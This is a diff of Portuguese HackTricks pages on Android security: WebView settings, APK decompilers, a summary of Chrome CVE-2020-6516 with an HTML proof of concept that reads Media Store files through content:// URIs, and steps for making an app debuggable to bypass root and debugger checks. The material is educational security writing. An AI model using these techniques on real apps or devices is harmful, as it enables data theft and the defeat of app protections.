Para carregar conteúdo, métodos como ````loadUrl````, ````loadData````, e ````loadDataWithBaseURL```` estão disponíveis. É crucial garantir que essas URLs ou arquivos sejam **seguros para uso**. As configurações de segurança podem ser gerenciadas através da classe ````WebSettings````. Por exemplo, desabilitar JavaScript com ````setJavaScriptEnabled(false)```` pode prevenir ataques XSS.
A "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2.
O "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2.
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews alcancem Provedores de Conteúdo, o que poderia ser um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews acessem Content Providers, o que pode ser um risco, a menos que as URLs de conteúdo sejam verificadas como seguras.
Para controlar o acesso a arquivos:
- Desativar o acesso a arquivos (````setAllowFileAccess(false)````) limita o acesso ao sistema de arquivos, com exceções para determinados ativos, garantindo que sejam usados apenas para conteúdo não sensível.
- Desabilitar o acesso a arquivos (````setAllowFileAccess(false)````) limita o acesso ao sistema de arquivos, com exceções para certos ativos, garantindo que sejam usados apenas para conteúdo não sensível.
## Outros Componentes de Aplicativos e Gerenciamento de Dispositivos Móveis
### **Assinatura Digital de Aplicativos**
- A **assinatura digital** é essencial para aplicativos Android, garantindo que sejam **autenticamente autorizados** antes da instalação. Esse processo utiliza um certificado para identificação do aplicativo e deve ser verificado pelo gerenciador de pacotes do dispositivo durante a instalação. Os aplicativos podem ser **autoassinados ou certificados por uma AC externa**, protegendo contra acessos não autorizados e garantindo que o aplicativo permaneça íntegro durante a entrega ao dispositivo.
- **A assinatura digital** é obrigatória para aplicativos Android, garantindo que sejam **autenticamente criados** antes da instalação. Esse processo utiliza um certificado para identificação do aplicativo e deve ser verificado pelo gerenciador de pacotes do dispositivo durante a instalação. Os aplicativos podem ser **autoassinados ou certificados por uma CA externa**, protegendo contra acesso não autorizado e garantindo que o aplicativo permaneça inalterado durante sua entrega ao dispositivo.
### **Verificação de Aplicativos para Segurança Aprimorada**
- A partir do **Android 4.2**, um recurso chamado **Verificar Apps** permite que os usuários verifiquem a segurança dos aplicativos antes da instalação. Esse **processo de verificação** pode alertar os usuários sobre aplicativos potencialmente prejudiciais, ou até mesmo impedir a instalação de aplicativos particularmente maliciosos, aprimorando a segurança do usuário.
- A partir do **Android 4.2**, um recurso chamado **Verificar Aplicativos** permite que os usuários verifiquem a segurança dos aplicativos antes da instalação. Esse **processo de verificação** pode alertar os usuários sobre aplicativos potencialmente prejudiciais ou até mesmo impedir a instalação de aplicativos particularmente maliciosos, aprimorando a segurança do usuário.
### **Gerenciamento de Dispositivos Móveis (MDM)**
- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a limpeza remota de dados**, garantindo controle abrangente e segurança sobre dispositivos móveis.
- **Soluções MDM** fornecem **supervisão e segurança** para dispositivos móveis através da **API de Administração de Dispositivos**. Elas necessitam da instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **imposição de políticas de senha**, **obrigação de criptografia de armazenamento**, e **permissão para limpeza remota de dados**, garantindo controle e segurança abrangentes sobre dispositivos móveis.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -383,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
**Grupo de Segurança Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
# Decompiladores de APK
# APK decompilers
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking da AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
{% endhint %}
**Para mais detalhes sobre cada ferramenta, confira a postagem original em [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
**Para mais detalhes sobre cada ferramenta, confira o post original em [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
Como o pioneiro decompilador Java GUI, o **JD-Gui** permite investigar o código Java dentro de arquivos APK. É fácil de usar; após obter o APK, basta abri-lo com o JD-Gui para inspecionar o código.
Como o pioneiro descompilador GUI Java, **JD-Gui** permite que você investigue o código Java dentro de arquivos APK. É simples de usar; após obter o APK, basta abri-lo com JD-Gui para inspecionar o código.
### [Jadx](https://github.com/skylot/jadx)
**Jadx** oferece uma interface amigável para decompilar código Java de aplicativos Android. É recomendado por sua facilidade de uso em diferentes plataformas.
**Jadx** oferece uma interface amigável para descompilar código Java de aplicativos Android. É recomendado por sua facilidade de uso em diferentes plataformas.
- Para iniciar a GUI, navegue até o diretório bin e execute: `jadx-gui`
- Para uso em linha de comando, decompile um APK com: `jadx app.apk`
- Para especificar um diretório de saída ou ajustar as opções de decompilação: `jadx app.apk -d <caminho para o diretório de saída> --no-res --no-src --no-imports`
- Para uso na linha de comando, descompile um APK com: `jadx app.apk`
- Para especificar um diretório de saída ou ajustar opções de descompilação: `jadx app.apk -d <caminho para o diretório de saída> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
@ -35,37 +37,37 @@ Como o pioneiro decompilador Java GUI, o **JD-Gui** permite investigar o código
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
Com o **Bytecode-Viewer**, você pode analisar arquivos APK usando vários decompiladores. Após o download, execute o Bytecode-Viewer, carregue seu APK e selecione os decompiladores que deseja usar para análise simultânea.
Com **Bytecode-Viewer**, você pode analisar arquivos APK usando múltiplos descompiladores. Após o download, execute o Bytecode-Viewer, carregue seu APK e selecione os descompiladores que deseja usar para análise simultânea.
### [Enjarify](https://github.com/Storyyeller/enjarify)
**Enjarify** traduz bytecode Dalvik para bytecode Java, permitindo que ferramentas de análise Java analisem aplicativos Android de forma mais eficaz.
- Para usar o Enjarify, execute: `enjarify app.apk`
Isso gera o equivalente em bytecode Java do APK fornecido.
Isso gera o bytecode Java equivalente ao APK fornecido.
### [CFR](https://github.com/leibnitz27/cfr)
**CFR** é capaz de decompilar recursos Java modernos. Use da seguinte forma:
**CFR** é capaz de descompilar recursos modernos do Java. Use-o da seguinte forma:
- Para decompilação padrão: `java -jar ./cfr.jar "app.jar" --outputdir "diretório_de_saída"`
- Para arquivos JAR grandes, ajuste a alocação de memória JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "diretório_de_saída"`
- Para descompilação padrão: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Para arquivos JAR grandes, ajuste a alocação de memória da JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**, um decompilador analítico, requer compilação a partir do código-fonte. Após a compilação:
**Fernflower**, um descompilador analítico, requer construção a partir do código-fonte. Após a construção:
- Decompilar um arquivo JAR: `java -jar ./fernflower.jar "app.jar" "diretório_de_saída"`
- Descompile um arquivo JAR: `java -jar ./fernflower.jar "app.jar" "output_directory"`
Em seguida, extraia os arquivos `.java` do JAR gerado usando `unzip`.
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau** oferece controle detalhado sobre a decompilação, especialmente para lidar com bibliotecas externas.
**Krakatau** oferece controle detalhado sobre a descompilação, especialmente para lidar com bibliotecas externas.
- Use o Krakatau especificando o caminho da biblioteca padrão e o arquivo JAR a ser decompilado: `./Krakatau/decompile.py -out "diretório_de_saída" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
- Use Krakatau especificando o caminho da biblioteca padrão e o arquivo JAR a ser descompilado: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
Para decompilação direta com o **procyon**:
Para descompilação simples com **procyon**:
- Decompilar um arquivo JAR para um diretório especificado: `procyon -jar "app.jar" -o "diretório_de_saída"`
- Descompile um arquivo JAR para um diretório especificado: `procyon -jar "app.jar" -o "output_directory"`

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -18,21 +19,21 @@ Outras maneiras de apoiar o HackTricks:
**Este é um resumo do post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Listando Arquivos no Armazenamento de Mídia
Para listar arquivos gerenciados pelo Armazenamento de Mídia, o comando abaixo pode ser usado:
### Listando Arquivos no Media Store
Para listar arquivos gerenciados pelo Media Store, o comando abaixo pode ser usado:
```bash
$ content query --uri content://media/external/file
```
Para obter uma saída mais amigável ao usuário, exibindo apenas o identificador e o caminho de cada arquivo indexado:
Para uma saída mais amigável, exibindo apenas o identificador e o caminho de cada arquivo indexado:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Os provedores de conteúdo estão isolados em seu próprio namespace privado. O acesso a um provedor requer o URI específico `content://`. As informações sobre os caminhos para acessar um provedor podem ser obtidas nos manifestos de aplicativos ou no código-fonte do framework do Android.
Os provedores de conteúdo estão isolados em seu próprio namespace privado. O acesso a um provedor requer o URI específico `content://`. Informações sobre os caminhos para acessar um provedor podem ser obtidas a partir de manifests de aplicativos ou do código-fonte do framework Android.
### Acesso do Chrome aos Provedores de Conteúdo
O Chrome no Android pode acessar provedores de conteúdo por meio do esquema `content://`, permitindo acessar recursos como fotos ou documentos exportados por aplicativos de terceiros. Para ilustrar isso, um arquivo pode ser inserido no Media Store e depois acessado via Chrome:
O Chrome no Android pode acessar provedores de conteúdo através do esquema `content://`, permitindo que acesse recursos como fotos ou documentos exportados por aplicativos de terceiros. Para ilustrar isso, um arquivo pode ser inserido no Media Store e, em seguida, acessado via Chrome:
Inserir uma entrada personalizada no Media Store:
Insira uma entrada personalizada no Media Store:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
@ -46,7 +47,7 @@ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
O arquivo pode então ser visualizado no Chrome usando um URL construído com o identificador do arquivo.
O arquivo pode ser visualizado no Chrome usando uma URL construída com o identificador do arquivo.
Por exemplo, para listar arquivos relacionados a um aplicativo específico:
```bash
@ -54,11 +55,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
```
### Chrome CVE-2020-6516: Bypass da Política de Mesma Origem
A _Política de Mesma Origem_ (SOP) é um protocolo de segurança nos navegadores que restringe páginas da web de interagir com recursos de origens diferentes, a menos que explicitamente permitido por uma política de Compartilhamento de Recursos de Origem Cruzada (CORS). Essa política tem como objetivo evitar vazamentos de informações e falsificação de solicitações entre sites. O Chrome considera `content://` como um esquema local, implicando regras mais rígidas de SOP, onde cada URL de esquema local é tratada como uma origem separada.
A _Política de Mesma Origem_ (SOP) é um protocolo de segurança em navegadores que restringe páginas da web de interagir com recursos de origens diferentes, a menos que explicitamente permitido por uma política de Compartilhamento de Recursos de Origem Cruzada (CORS). Esta política visa prevenir vazamentos de informações e falsificação de requisições entre sites. O Chrome considera `content://` como um esquema local, implicando regras SOP mais rigorosas, onde cada URL de esquema local é tratada como uma origem separada.
No entanto, o CVE-2020-6516 foi uma vulnerabilidade no Chrome que permitia a violação das regras de SOP para recursos carregados por meio de uma URL `content://`. Na prática, o código JavaScript de uma URL `content://` poderia acessar outros recursos carregados via URLs `content://`, o que representava uma preocupação de segurança significativa, especialmente em dispositivos Android executando versões anteriores ao Android 10, onde o armazenamento com escopo não estava implementado.
No entanto, a CVE-2020-6516 foi uma vulnerabilidade no Chrome que permitiu um bypass das regras SOP para recursos carregados via uma URL `content://`. Na prática, o código JavaScript de uma URL `content://` poderia acessar outros recursos carregados via URLs `content://`, o que era uma preocupação significativa de segurança, especialmente em dispositivos Android que executavam versões anteriores ao Android 10, onde o armazenamento escopado não estava implementado.
O prova de conceito abaixo demonstra essa vulnerabilidade, onde um documento HTML, após ser carregado em **/sdcard** e adicionado à Media Store, usa `XMLHttpRequest` em seu JavaScript para acessar e exibir o conteúdo de outro arquivo na Media Store, burlando as regras de SOP.
A prova de conceito abaixo demonstra essa vulnerabilidade, onde um documento HTML, após ser carregado em **/sdcard** e adicionado ao Media Store, usa `XMLHttpRequest` em seu JavaScript para acessar e exibir o conteúdo de outro arquivo no Media Store, contornando as regras SOP.
Prova de Conceito HTML:
```xml
@ -93,16 +94,17 @@ xhr.send();
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporte o HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,106 +1,108 @@
# Explorando uma aplicação com modo de depuração
# Exploiting a debuggeable application
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Burlando verificações de root e debuggeable**
# **Contornando verificações de root e debuggeable**
Esta seção do post é um resumo do post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
## Passos para tornar um aplicativo Android debuggeable e burlar verificações
## Passos para tornar um aplicativo Android debugável e contornar verificações
### **Tornando o Aplicativo Debuggeable**
### **Tornando o App Debuggable**
Conteúdo baseado em https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
1. **Descompilar o APK:**
- Utilize a ferramenta APK-GUI para descompilar o APK.
- No arquivo _android-manifest_, insira `android:debuggable=true` para ativar o modo de depuração.
- Recompile, assine e zipalign o aplicativo modificado.
1. **Decompile o APK:**
- Utilize a ferramenta APK-GUI para decompilar o APK.
- No arquivo _android-manifest_, insira `android:debuggable=true` para habilitar o modo de depuração.
- Recompile, assine e zipalign a aplicação modificada.
2. **Instalar o Aplicativo Modificado:**
- Use o comando: `adb install <nome_do_aplicativo>`.
2. **Instale a Aplicação Modificada:**
- Use o comando: `adb install <application_name>`.
3. **Recuperar o Nome do Pacote:**
3. **Recupere o Nome do Pacote:**
- Execute `adb shell pm list packages 3` para listar aplicativos de terceiros e encontrar o nome do pacote.
4. **Configurar o Aplicativo para Aguardar a Conexão do Depurador:**
- Comando: `adb shell am setup-debug-app w <nome_do_pacote>`.
- **Observação:** Este comando deve ser executado sempre antes de iniciar o aplicativo para garantir que ele aguarde o depurador.
- Para persistência, use `adb shell am setup-debug-app w -persistent <nome_do_pacote>`.
- Para remover todas as flags, use `adb shell am clear-debug-app <nome_do_pacote>`.
4. **Configure o App para Aguardar Conexão do Depurador:**
- Comando: `adb shell am setup-debug-app w <package_name>`.
- **Nota:** Este comando deve ser executado toda vez antes de iniciar a aplicação para garantir que ela aguarde o depurador.
- Para persistência, use `adb shell am setup-debug-app w -persistent <package_name>`.
- Para remover todas as flags, use `adb shell am clear-debug-app <package_name>`.
5. **Preparar para Depuração no Android Studio:**
5. **Prepare-se para Depuração no Android Studio:**
- Navegue no Android Studio para _File -> Open Profile or APK_.
- Abra o APK recompilado.
6. **Definir Pontos de Interrupção em Arquivos Java Chave:**
- Coloque pontos de interrupção em `MainActivity.java` (especificamente no método `onCreate`), `b.java` e `ContextWrapper.java`.
6. **Defina Breakpoints em Arquivos Java Chave:**
- Coloque breakpoints em `MainActivity.java` (especificamente no método `onCreate`), `b.java` e `ContextWrapper.java`.
### **Burlando Verificações**
### **Contornando Verificações**
O aplicativo, em determinados pontos, verificará se está em modo de depuração e também verificará binários que indicam um dispositivo com root. O depurador pode ser usado para modificar informações do aplicativo, desativar o bit de depuração e alterar os nomes dos binários pesquisados para burlar essas verificações.
A aplicação, em certos pontos, verificará se é debugável e também verificará binários que indicam um dispositivo com root. O depurador pode ser usado para modificar informações do app, desmarcar o bit de debugável e alterar os nomes dos binários pesquisados para contornar essas verificações.
Para a verificação de debuggeable:
Para a verificação de debugável:
1. **Modificar Configurações de Flag:**
1. **Modifique Configurações de Flag:**
- Na seção de variáveis do console do depurador, navegue até: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- **Observação:** A representação binária de `flags = 814267974` é `11000011100111011110`, indicando que a "Flag_debuggable" está ativa.
- **Nota:** A representação binária de `flags = 814267974` é `11000011100111011110`, indicando que a "Flag_debuggable" está ativa.
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
Esses passos garantem coletivamente que o aplicativo possa ser depurado e que certas verificações de segurança possam ser burladas usando o depurador, facilitando uma análise ou modificação mais aprofundada do comportamento do aplicativo.
Esses passos garantem coletivamente que a aplicação pode ser depurada e que certas verificações de segurança podem ser contornadas usando o depurador, facilitando uma análise ou modificação mais aprofundada do comportamento da aplicação.
O Passo 2 envolve a alteração de um valor de flag para 814267972, que é representado em binário como 110000101101000000100010100.
O passo 2 envolve mudar um valor de flag para 814267972, que é representado em binário como 110000101101000000100010100.
# **Explorando uma Vulnerabilidade**
Foi fornecida uma demonstração usando um aplicativo vulnerável contendo um botão e um textview. Inicialmente, o aplicativo exibe "Crack Me". O objetivo é alterar a mensagem de "Tentar Novamente" para "Hackeado" em tempo de execução, sem modificar o código-fonte.
Uma demonstração foi fornecida usando uma aplicação vulnerável contendo um botão e um textview. Inicialmente, a aplicação exibe "Crack Me". O objetivo é alterar a mensagem de "Try Again" para "Hacked" em tempo de execução, sem modificar o código-fonte.
## **Verificando a Vulnerabilidade**
- O aplicativo foi descompilado usando `apktool` para acessar o arquivo `AndroidManifest.xml`.
- A presença de `android_debuggable="true"` no AndroidManifest.xml indica que o aplicativo é debuggeable e suscetível a exploração.
- Vale ressaltar que o `apktool` é usado exclusivamente para verificar o status de debug sem alterar nenhum código.
- A aplicação foi decompilada usando `apktool` para acessar o arquivo `AndroidManifest.xml`.
- A presença de `android_debuggable="true"` no AndroidManifest.xml indica que a aplicação é debugável e suscetível à exploração.
- Vale ressaltar que `apktool` é empregado apenas para verificar o status de debugável sem alterar nenhum código.
## **Preparando a Configuração**
- O processo envolveu iniciar um emulador, instalar o aplicativo vulnerável e usar `adb jdwp` para identificar as portas do Dalvik VM que estão ouvindo.
- O JDWP (Java Debug Wire Protocol) permite a depuração de um aplicativo em execução em uma VM, expondo uma porta única.
- O encaminhamento de porta foi necessário para depuração remota, seguido pela conexão do JDB ao aplicativo de destino.
## **Preparando o Setup**
